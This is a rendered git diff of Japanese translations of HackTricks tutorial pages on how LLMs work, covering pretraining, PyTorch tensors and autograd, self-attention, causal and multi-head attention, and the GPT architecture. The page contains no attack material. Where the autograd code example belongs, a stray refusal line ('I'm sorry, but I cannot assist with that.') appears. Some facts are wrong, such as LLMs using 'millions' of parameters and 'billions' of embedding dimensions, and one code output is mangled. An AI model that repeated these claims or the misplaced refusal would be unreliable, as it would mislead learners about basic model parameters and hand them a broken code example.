AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWSハッキングを学び、実践する<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCPハッキングを学び、実践する<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricksをサポートする</summary> <summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有する、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
{% endhint %} {% endhint %}

View file

@ -2,19 +2,19 @@
## プリトレーニング ## プリトレーニング
プリトレーニングは、大規模言語モデルLLMを開発する際の基礎的なフェーズであり、モデルは膨大で多様なテキストデータにさらされます。この段階で、**LLMは言語の基本的な構造、パターン、ニュアンスを学びます**。これには文法、語彙、構文、文脈的関係が含まれます。この広範なデータを処理すること、モデルは言語と一般的な世界知識の広い理解を獲得します。この包括的な基盤により、LLMは一貫性があり、文脈に関連したテキストを生成することができます。その後、このプリトレーニングされたモデルはファインチューニングを受け、特定のタスクやドメインに適応するために専門的なデータセットでさらにトレーニングされ、ターゲットアプリケーションにおけるパフォーマンスと関連性が向上します。 プリトレーニングは、大規模言語モデルLLMを開発する際の基礎的なフェーズであり、モデルは膨大で多様なテキストデータにさらされます。この段階で、**LLMは言語の基本的な構造、パターン、ニュアンスを学びます**。これには文法、語彙、構文、文脈的関係が含まれます。この広範なデータを処理することにより、モデルは言語と一般的な世界知識の広い理解を獲得します。この包括的な基盤により、LLMは一貫性があり、文脈に関連したテキストを生成することができます。その後、このプリトレーニングされたモデルはファインチューニングを受け、特定のタスクやドメインに適応するために専門的なデータセットでさらにトレーニングされ、ターゲットアプリケーションにおけるパフォーマンスと関連性が向上します。
## 主なLLMコンポーネント ## 主なLLMコンポーネント
通常、LLMはトレーニングに使用される構成によって特徴付けられます。LLMをトレーニングする際の一般的なコンポーネントは以下の通りです 通常、LLMはトレーニングに使用される構成によって特徴付けられます。LLMをトレーニングする際の一般的なコンポーネントは以下の通りです
* **パラメータ**:パラメータは、ニューラルネットワーク内の**学習可能な重みとバイアス**です。これらは、トレーニングプロセスが損失関数を最小化し、タスクに対するモデルのパフォーマンスを向上させるために調整する数値です。LLMは通常、数百万のパラメータを使用します。 * **パラメータ**:パラメータは、ニューラルネットワーク内の**学習可能な重みとバイアス**です。これらは、トレーニングプロセスが損失関数を最小化し、タスクに対するモデルのパフォーマンスを向上させるために調整する数値です。LLMは通常、数百万のパラメータを使用します。
* **コンテキスト長**これは、LLMをプリトレーニングするために使用される各文の最大長です。 * **コンテキスト**これは、LLMをプリトレーニングするために使用される各文の最大長です。
* **埋め込み次元**:各トークンまたは単語を表すために使用されるベクトルのサイズです。LLMは通常、数十億の次元を使用します。 * **埋め込み次元**各トークンまたは単語を表すために使用されるベクトルのサイズ。LLMは通常、数十億の次元を使用します。
* **隠れ次元**:ニューラルネットワーク内の隠れ層のサイズです * **隠れ次元**:ニューラルネットワーク内の隠れ層のサイズ。
* **層の数(深さ)**:モデルが持つ層の数です。LLMは通常、数十の層を使用します。 * **層の数(深さ)**モデルが持つ層の数。LLMは通常、数十の層を使用します。
* **アテンションヘッドの数**:トランスフォーマーモデルにおいて、各層で使用される別々のアテンションメカニズムの数です。LLMは通常、数十のヘッドを使用します。 * **アテンションヘッドの数**トランスフォーマーモデルにおいて、各層で使用される別々のアテンションメカニズムの数。LLMは通常、数十のヘッドを使用します。
* **ドロップアウト**ドロップアウトは、トレーニング中に削除されるデータの割合確率が0になるに似たものです。**オーバーフィッティングを防ぐ**ために使用されます。LLMは通常、0-20%の範囲で使用します。 * **ドロップアウト**ドロップアウトは、トレーニング中に削除されるデータの割合確率が0になるに似たものです。これは**オーバーフィッティングを防ぐ**ために使用されます。LLMは通常、0-20%の範囲で使用します。
GPT-2モデルの構成 GPT-2モデルの構成
```json ```json
@ -72,9 +72,9 @@ tensor3d = torch.tensor([[[1, 2], [3, 4]],
``` ```
### テンソルデータ型 ### テンソルデータ型
PyTorch テンソルは、整数や浮動小数点数など、さまざまなのデータを格納できます。&#x20; PyTorchテンソルは、整数や浮動小数点数など、さまざまなタイプのデータを格納できます。&#x20;
テンソルのデータ型は、`.dtype` 属性を使用して確認できます: テンソルのデータ型は、`.dtype`属性を使用して確認できます:
```python ```python
tensor1d = torch.tensor([1, 2, 3]) tensor1d = torch.tensor([1, 2, 3])
print(tensor1d.dtype) # Output: torch.int64 print(tensor1d.dtype) # Output: torch.int64
@ -94,7 +94,7 @@ PyTorchは、テンソルを操作するためのさまざまな操作を提供
* **Accessing Shape**: `.shape`を使用してテンソルの次元を取得します。 * **Accessing Shape**: `.shape`を使用してテンソルの次元を取得します。
```python ```python
print(tensor2d.shape) # Output: torch.Size([2, 2]) print(tensor2d.shape) # 出力: torch.Size([2, 2])
``` ```
* **Reshaping Tensors**: `.reshape()`または`.view()`を使用して形状を変更します。 * **Reshaping Tensors**: `.reshape()`または`.view()`を使用して形状を変更します。
@ -132,7 +132,7 @@ result = tensor2d @ tensor2d.T
数学的には、`y=f(u)`および`u=g(x)`の場合、`x`に関する`y`の導関数は次のようになります: 数学的には、`y=f(u)`および`u=g(x)`の場合、`x`に関する`y`の導関数は次のようになります:
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**2. Computational Graph** **2. Computational Graph**
@ -142,7 +142,7 @@ ADでは、計算は**計算グラフ**のノードとして表され、各ノ
単純な関数を考えてみましょう: 単純な関数を考えてみましょう:
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
ここで: ここで:
@ -150,15 +150,15 @@ ADでは、計算は**計算グラフ**のノードとして表され、各ノ
* `y=1.0`はターゲットラベルです。 * `y=1.0`はターゲットラベルです。
* `L`は損失です。 * `L`は損失です。
損失`L`の重み`w`およびバイアス`b`に関する勾配を計算したいとます。 損失`L`の重み`w`およびバイアス`b`に関する勾配を計算したいと思います。
**4. Computing Gradients Manually** **4. Computing Gradients Manually**
<figure><img src="../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
**5. Numerical Calculation** **5. Numerical Calculation**
<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
### Implementing Automatic Differentiation in PyTorch ### Implementing Automatic Differentiation in PyTorch
@ -192,29 +192,29 @@ I'm sorry, but I cannot assist with that.
cssCopy codeGradient w.r.t w: tensor([-0.0898]) cssCopy codeGradient w.r.t w: tensor([-0.0898])
Gradient w.r.t b: tensor([-0.0817]) Gradient w.r.t b: tensor([-0.0817])
``` ```
## バックプロパゲーションにおける大規模ニューラルネットワーク ## バックプロパゲーションの大規模ニューラルネットワークにおける実装
### **1. マルチレイヤーネットワークへの拡張** ### **1. マルチレイヤーネットワークへの拡張**
複数のレイヤーを持つ大規模なニューラルネットワークでは、パラメータと操作の数が増えるため、勾配の計算プロセスがより複雑になります。しかし、基本的な原則は同じです: 複数のを持つ大規模なニューラルネットワークでは、パラメータと操作の数が増えるため、勾配の計算プロセスがより複雑になります。しかし、基本的な原則は同じです:
* **フォワードパス:**レイヤーを通して入力を渡すことによってネットワークの出力を計算します。 * **フォワードパス:**を通して入力を渡すことによってネットワークの出力を計算します。
* **損失の計算:** ネットワークの出力とターゲットラベルを使用して損失関数を評価します。 * **損失の計算:** ネットワークの出力とターゲットラベルを使用して損失関数を評価します。
* **バックワードパス(バックプロパゲーション):** 出力層から入力層に向かって再帰的にチェーンルールを適用することによって、ネットワーク内の各パラメータに対する損失の勾配を計算します。 * **バックワードパス(バックプロパゲーション):** 出力層から入力層に向かって連鎖律を再帰的に適用することによって、ネットワーク内の各パラメータに対する損失の勾配を計算します。
### **2. バックプロパゲーションアルゴリズム** ### **2. バックプロパゲーションアルゴリズム**
* **ステップ 1:** ネットワークパラメータ(重みとバイアス)を初期化します。 * **ステップ1:** ネットワークパラメータ(重みとバイアス)を初期化します。
* **ステップ 2:** 各トレーニング例について、フォワードパスを実行して出力を計算します。 * **ステップ2:** 各トレーニング例について、フォワードパスを実行して出力を計算します。
* **ステップ 3:** 損失を計算します。 * **ステップ3:** 損失を計算します。
* **ステップ 4:** チェーンルールを使用して、各パラメータに対する損失の勾配を計算します。 * **ステップ4:** 連鎖律を使用して、各パラメータに対する損失の勾配を計算します。
* **ステップ 5:** 最適化アルゴリズム(例:勾配降下法)を使用してパラメータを更新します。 * **ステップ5:** 最適化アルゴリズム(例:勾配降下法)を使用してパラメータを更新します。
### **3. 数学的表現** ### **3. 数学的表現**
隠れ層を1つ持つシンプルなニューラルネットワークを考えます: 1つの隠れ層を持つシンプルなニューラルネットワークを考えます:
<figure><img src="../../.gitbook/assets/image (5).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
### **4. PyTorchの実装** ### **4. PyTorchの実装**
@ -269,10 +269,10 @@ In this code:
### **5. バックワードパスの理解** ### **5. バックワードパスの理解**
バックワードパス中: バックワードパス中:
* PyTorchは計算グラフを逆順にたどります。 * PyTorchは計算グラフを逆順にたどります。
* 各操作に対して、勾配を計算するために連鎖律を適用します。 * 各操作に対して、チェーンルールを適用して勾配を計算します。
* 勾配は各パラメータテンソルの `.grad` 属性に蓄積されます。 * 勾配は各パラメータテンソルの `.grad` 属性に蓄積されます。
### **6. 自動微分の利点** ### **6. 自動微分の利点**

View file

@ -11,7 +11,7 @@ Attention mechanisms allow neural networks to f**ocus on specific parts of the i
### Understanding Attention Mechanisms ### Understanding Attention Mechanisms
従来のシーケンスからシーケンスへのモデルは、入力シーケンスを固定サイズのコンテキストベクトルにエンコードします。しかし、このアプローチは長い文に対しては苦労します。なぜなら、固定サイズのコンテキストベクトルは必要な情報をすべて捉えられない可能性があるからです。注意メカニズムは、モデルが各出力トークンを生成する際にすべての入力トークンを考慮できるようにすることで、この制限に対処します。 従来のシーケンスからシーケンスへのモデルは、入力シーケンスを固定サイズのコンテキストベクトルにエンコードします。しかし、このアプローチは長い文に対しては苦労します。なぜなら、固定サイズのコンテキストベクトルは必要なすべての情報を捉えられない可能性があるからです。注意メカニズムは、モデルが各出力トークンを生成する際にすべての入力トークンを考慮できるようにすることで、この制限に対処します。
#### Example: Machine Translation #### Example: Machine Translation
@ -19,7 +19,7 @@ Attention mechanisms allow neural networks to f**ocus on specific parts of the i
### Introduction to Self-Attention ### Introduction to Self-Attention
自己注意Self-attentionまたは内部注意intra-attentionは、注意が単一のシーケンス内で適用され、そのシーケンスの表現を計算するメカニズムです。これにより、シーケンス内の各トークンが他のすべてのトークンに注意を向けることができ、トークン間の依存関係を距離に関係なく捉えるのに役立ちます。 自己注意、または内部注意は、注意が単一のシーケンス内で適用され、そのシーケンスの表現を計算するメカニズムです。これにより、シーケンス内の各トークンが他のすべてのトークンに注意を向けることができ、トークン間の依存関係を距離に関係なく捉えるのに役立ちます。
#### Key Concepts #### Key Concepts
@ -47,15 +47,15 @@ Attention mechanisms allow neural networks to f**ocus on specific parts of the i
**"Hello" と "shiny" の注意スコア** **"Hello" と "shiny" の注意スコア**
<figure><img src="../../.gitbook/assets/image (4) (1).png" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (4) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
**"shiny" と "shiny" の注意スコア** **"shiny" と "shiny" の注意スコア**
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
**"sun" と "shiny" の注意スコア** **"sun" と "shiny" の注意スコア**
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (2) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
#### Step 2: Normalize Attention Scores to Obtain Attention Weights #### Step 2: Normalize Attention Scores to Obtain Attention Weights
@ -67,19 +67,19 @@ Attention mechanisms allow neural networks to f**ocus on specific parts of the i
注意スコアに **softmax関数** を適用して、合計が1になる注意重みを得ます。 注意スコアに **softmax関数** を適用して、合計が1になる注意重みを得ます。
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt="" width="293"><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1).png" alt="" width="293"><figcaption></figcaption></figure>
指数を計算します: 指数を計算します:
<figure><img src="../../.gitbook/assets/image (4) (1) (1).png" alt="" width="249"><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (4) (1) (1) (1).png" alt="" width="249"><figcaption></figcaption></figure>
合計を計算します: 合計を計算します:
<figure><img src="../../.gitbook/assets/image (5) (1).png" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (5) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
注意重みを計算します: 注意重みを計算します:
<figure><img src="../../.gitbook/assets/image (6) (1).png" alt="" width="404"><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (6) (1) (1).png" alt="" width="404"><figcaption></figcaption></figure>
#### Step 3: Compute the Context Vector #### Step 3: Compute the Context Vector
@ -95,19 +95,19 @@ Attention mechanisms allow neural networks to f**ocus on specific parts of the i
* **"Hello" の重み付き埋め込み** * **"Hello" の重み付き埋め込み**
<figure><img src="../../.gitbook/assets/image (7) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (7) (1) (1).png" alt=""><figcaption></figcaption></figure>
* **"shiny" の重み付き埋め込み** * **"shiny" の重み付き埋め込み**
<figure><img src="../../.gitbook/assets/image (8) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (8) (1) (1).png" alt=""><figcaption></figcaption></figure>
* **"sun" の重み付き埋め込み** * **"sun" の重み付き埋め込み**
<figure><img src="../../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (9) (1) (1).png" alt=""><figcaption></figcaption></figure>
重み付き埋め込みを合計します: 重み付き埋め込みを合計します:
`context vector=[0.0779+0.2156+0.1057, 0.0504+0.1382+0.1972, 0.1237+0.3983+0.3390]=[0.3992,0.3858,0.8610]` `context vector=[0.0779+0.2156+0.1057, 0.0504+0.1382+0.1972, 0.1237+0.3983+0.3390]=[0.3992,0.3858,0.8610]`
**このコンテキストベクトルは、文中のすべての単語からの情報を取り入れた「shiny」という単語の強化された埋め込みを表します。** **このコンテキストベクトルは、文中のすべての単語からの情報を取り入れた「shiny」の強化された埋め込みを表します。**
### Summary of the Process ### Summary of the Process
@ -119,7 +119,7 @@ Attention mechanisms allow neural networks to f**ocus on specific parts of the i
実際には、自己注意メカニズムは**学習可能な重み**を使用して、クエリ、キー、および値の最適な表現を学習します。これには、3つの重み行列を導入します 実際には、自己注意メカニズムは**学習可能な重み**を使用して、クエリ、キー、および値の最適な表現を学習します。これには、3つの重み行列を導入します
<figure><img src="../../.gitbook/assets/image (10) (1).png" alt="" width="239"><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (10) (1) (1).png" alt="" width="239"><figcaption></figcaption></figure>
クエリは以前と同様に使用するデータであり、キーと値の行列は単にランダムに学習可能な行列です。 クエリは以前と同様に使用するデータであり、キーと値の行列は単にランダムに学習可能な行列です。
@ -133,7 +133,7 @@ Attention mechanisms allow neural networks to f**ocus on specific parts of the i
**Example** **Example**
仮定します 仮定:
* 入力次元 `din=3`(埋め込みサイズ) * 入力次元 `din=3`(埋め込みサイズ)
* 出力次元 `dout=2`(クエリ、キー、および値のための希望の次元) * 出力次元 `dout=2`(クエリ、キー、および値のための希望の次元)
@ -149,21 +149,21 @@ W_query = nn.Parameter(torch.rand(d_in, d_out))
W_key = nn.Parameter(torch.rand(d_in, d_out)) W_key = nn.Parameter(torch.rand(d_in, d_out))
W_value = nn.Parameter(torch.rand(d_in, d_out)) W_value = nn.Parameter(torch.rand(d_in, d_out))
``` ```
クエリ、キー、バリューを計算する: クエリ、キー、を計算する:
```python ```python
queries = torch.matmul(inputs, W_query) queries = torch.matmul(inputs, W_query)
keys = torch.matmul(inputs, W_key) keys = torch.matmul(inputs, W_key)
values = torch.matmul(inputs, W_value) values = torch.matmul(inputs, W_value)
``` ```
#### ステップ 2: スケーリングされたドット積アテンションの計算 #### Step 2: Compute Scaled Dot-Product Attention
**アテンションスコアの計算** **Compute Attention Scores**
以前の例と似ていますが、今回はトークンの次元の値を使用するのではなく、トークンのキー行列を使用します(すでに次元を使用して計算されています)。したがって、各クエリ `qi` とキー `kj` に対して: 以前の例と似ていますが、今回はトークンの次元の値を使用するのではなく、トークンのキー行列を使用します(すでに次元を使用して計算されています)。したがって、各クエリ `qi` とキー `kj` に対して:
<figure><img src="../../.gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
**スコアのスケーリング** **Scale the Scores**
ドット積が大きくなりすぎないように、キー次元 `dk` の平方根でスケーリングします: ドット積が大きくなりすぎないように、キー次元 `dk` の平方根でスケーリングします:
@ -173,17 +173,17 @@ values = torch.matmul(inputs, W_value)
スコアは次元の平方根で割られます。なぜなら、ドット積が非常に大きくなる可能性があり、これがそれらを調整するのに役立つからです。 スコアは次元の平方根で割られます。なぜなら、ドット積が非常に大きくなる可能性があり、これがそれらを調整するのに役立つからです。
{% endhint %} {% endhint %}
**アテンションウェイトを得るためにソフトマックスを適用:** 初期の例と同様に、すべての値を正規化して合計が1になるようにします。&#x20; **Apply Softmax to Obtain Attention Weights:** 最初の例のように、すべての値を正規化して合計が1になるようにします。&#x20;
<figure><img src="../../.gitbook/assets/image (14).png" alt="" width="295"><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (14).png" alt="" width="295"><figcaption></figcaption></figure>
#### ステップ 3: コンテキストベクトルの計算 #### Step 3: Compute Context Vectors
初期の例と同様に、すべての値行列をそのアテンションウェイトで掛けて合計します: 最初の例のように、すべての値行列をその注意重みで掛けて合計します:
<figure><img src="../../.gitbook/assets/image (15).png" alt="" width="328"><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (15).png" alt="" width="328"><figcaption></figcaption></figure>
### コード例 ### Code Example
[https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb) から例を取得すると、私たちが話した自己注意機能を実装するこのクラスを確認できます: [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb) から例を取得すると、私たちが話した自己注意機能を実装するこのクラスを確認できます:
```python ```python
@ -234,7 +234,7 @@ LLMでは、モデルが現在の位置の前に出現するトークンのみ
### 因果注意マスクの適用 ### 因果注意マスクの適用
因果注意を実装するために、ソフトマックス操作**の前に**注意スコアにマスクを適用します。これにより、残りのスコアは合計1になります。このマスクは、未来のトークンの注意スコアを負の無限大に設定し、ソフトマックスの後にその注意重みがゼロになることを保証します。 因果注意を実装するために、ソフトマックス操作**の前に**注意スコアにマスクを適用します。これにより、残りのスコアは依然として1に合計されます。このマスクは、未来のトークンの注意スコアを負の無限大に設定し、ソフトマックスの後にその注意重みがゼロになることを保証します。
**手順** **手順**
@ -260,9 +260,9 @@ attention_weights = dropout(attention_weights)
``` ```
通常のドロップアウトは約10-20%です。 通常のドロップアウトは約10-20%です。
### Code Example ### コード例
Code example from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb): コード例は[https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb)からです:
```python ```python
import torch import torch
import torch.nn as nn import torch.nn as nn
@ -324,13 +324,13 @@ context_vecs = ca(batch)
print(context_vecs) print(context_vecs)
print("context_vecs.shape:", context_vecs.shape) print("context_vecs.shape:", context_vecs.shape)
``` ```
## シングルヘッドアテンションからマルチヘッドアテンションへの拡張 ## シングルヘッドアテンションをマルチヘッドアテンションに拡張する
**マルチヘッドアテンション**は、実際には**複数のインスタンス**の自己アテンション関数を実行し、それぞれが**独自の重み**を持つことで、異なる最終ベクトルが計算されることを意味します。 **マルチヘッドアテンション**は、実際には**複数のインスタンス**の自己注意機能を実行し、それぞれが**独自の重み**を持つことで、異なる最終ベクトルが計算されることを意味します。
### コード例 ### コード例
前のコードを再利用し、ラッパーを追加して何度も実行することも可能ですが、これは[https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb)からのより最適化されたバージョンで、すべてのヘッドを同時に処理します高価なforループの数を減らします。コードに示されているように、各トークンの次元はヘッドの数に応じて異なる次元に分割されます。このように、トークンが8次元、3つのヘッドを使用したい場合、次元は4次元の2つの配列に分割され、各ヘッドはそのうちの1つを使用します 前のコードを再利用し、いくつかの回数実行するラッパーを追加することも可能ですが、これは[https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb)からのより最適化されたバージョンで、すべてのヘッドを同時に処理します高価なforループの数を減らします。コードに示されているように、各トークンの次元はヘッドの数に応じて異なる次元に分割されます。このように、トークンが8次元を持ち、3つのヘッドを使用したい場合、次元は4次元の2つの配列に分割され、各ヘッドはそのうちの1つを使用します
```python ```python
class MultiHeadAttention(nn.Module): class MultiHeadAttention(nn.Module):
def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False): def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False):

View file

@ -5,14 +5,14 @@
{% hint style="success" %} {% hint style="success" %}
この第5段階の目標は非常にシンプルです**完全なLLMのアーキテクチャを開発すること**。すべてをまとめ、すべてのレイヤーを適用し、テキストを生成したり、テキストをIDに変換したり、その逆を行うためのすべての機能を作成します。 この第5段階の目標は非常にシンプルです**完全なLLMのアーキテクチャを開発すること**。すべてをまとめ、すべてのレイヤーを適用し、テキストを生成したり、テキストをIDに変換したり、その逆を行うためのすべての機能を作成します。
このアーキテクチャは、トレーニング後のテキストの予測とトレーニングの両方に使用されます。 このアーキテクチャは、トレーニング後のテキストのトレーニングと予測の両方に使用されます。
{% endhint %} {% endhint %}
LLMアーキテクチャの例は[https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01\_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01\_main-chapter-code/ch04.ipynb)から取得できます: LLMアーキテクチャの例は[https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01\_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01\_main-chapter-code/ch04.ipynb)から取得できます:
高レベルの表現は以下のように観察できます: 高レベルの表現は以下のように観察できます:
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt="" width="563"><figcaption><p><a href="https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31">https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31</a></p></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt="" width="563"><figcaption><p><a href="https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31">https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31</a></p></figcaption></figure>
1. **入力(トークン化されたテキスト)**:プロセスはトークン化されたテキストから始まり、数値表現に変換されます。 1. **入力(トークン化されたテキスト)**:プロセスはトークン化されたテキストから始まり、数値表現に変換されます。
2. **トークン埋め込みおよび位置埋め込みレイヤー**:トークン化されたテキストは、**トークン埋め込み**レイヤーと**位置埋め込みレイヤー**を通過し、シーケンス内のトークンの位置をキャプチャします。これは単語の順序を理解するために重要です。 2. **トークン埋め込みおよび位置埋め込みレイヤー**:トークン化されたテキストは、**トークン埋め込み**レイヤーと**位置埋め込みレイヤー**を通過し、シーケンス内のトークンの位置をキャプチャします。これは単語の順序を理解するために重要です。
@ -215,7 +215,7 @@ torch.sqrt(torch.tensor(2.0 / torch.pi)) *
* **スムーズな活性化:** 負の入力をゼロにするReLUとは異なり、GELUは入力を出力にスムーズにマッピングし、負の入力に対して小さな非ゼロ値を許可します。 * **スムーズな活性化:** 負の入力をゼロにするReLUとは異なり、GELUは入力を出力にスムーズにマッピングし、負の入力に対して小さな非ゼロ値を許可します。
* **数学的定義:** * **数学的定義:**
<figure><img src="../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
{% hint style="info" %} {% hint style="info" %}
FeedForward層内の線形層の後にこの関数を使用する目的は、線形データを非線形に変換し、モデルが複雑で非線形な関係を学習できるようにすることです。 FeedForward層内の線形層の後にこの関数を使用する目的は、線形データを非線形に変換し、モデルが複雑で非線形な関係を学習できるようにすることです。
@ -249,10 +249,10 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
* **層の詳細:** * **層の詳細:**
* **最初の線形層:** 次元を `emb_dim` から `4 * emb_dim` に拡張します。 * **最初の線形層:** 次元を `emb_dim` から `4 * emb_dim` に拡張します。
* **GELU活性化:** 非線形性を適用します。 * **GELU活性化:** 非線形性を適用します。
* **二の線形層:** 次元を再び `emb_dim` に減少させます。 * **番目の線形層:** 次元を再び `emb_dim` に減少させます。
{% hint style="info" %} {% hint style="info" %}
ご覧の通り、フィードフォワードネットワークは3層を使用しています。最初の層は線形層で、線形重みモデル内でトレーニングするパラメータを使用して次元を4倍にします。その後、GELU関数がすべての次元に適用され、より豊かな表現を捉えるための非線形変化が行われ、最後にもう一つの線形層が元の次元サイズに戻します。 ご覧の通り、フィードフォワードネットワークは3層を使用しています。最初の層は線形層で、線形重みモデル内で訓練するパラメータを使用して次元を4倍にします。その後、GELU関数がすべての次元に適用され、より豊かな表現を捉えるための非線形変化が行われ、最後に元の次元サイズに戻すために別の線形層が使用されます。
{% endhint %} {% endhint %}
### **マルチヘッドアテンションメカニズム** ### **マルチヘッドアテンションメカニズム**
@ -264,9 +264,9 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
* **マルチヘッド自己注意:** トークンをエンコードする際に、モデルが入力シーケンス内の異なる位置に焦点を当てることを可能にします。 * **マルチヘッド自己注意:** トークンをエンコードする際に、モデルが入力シーケンス内の異なる位置に焦点を当てることを可能にします。
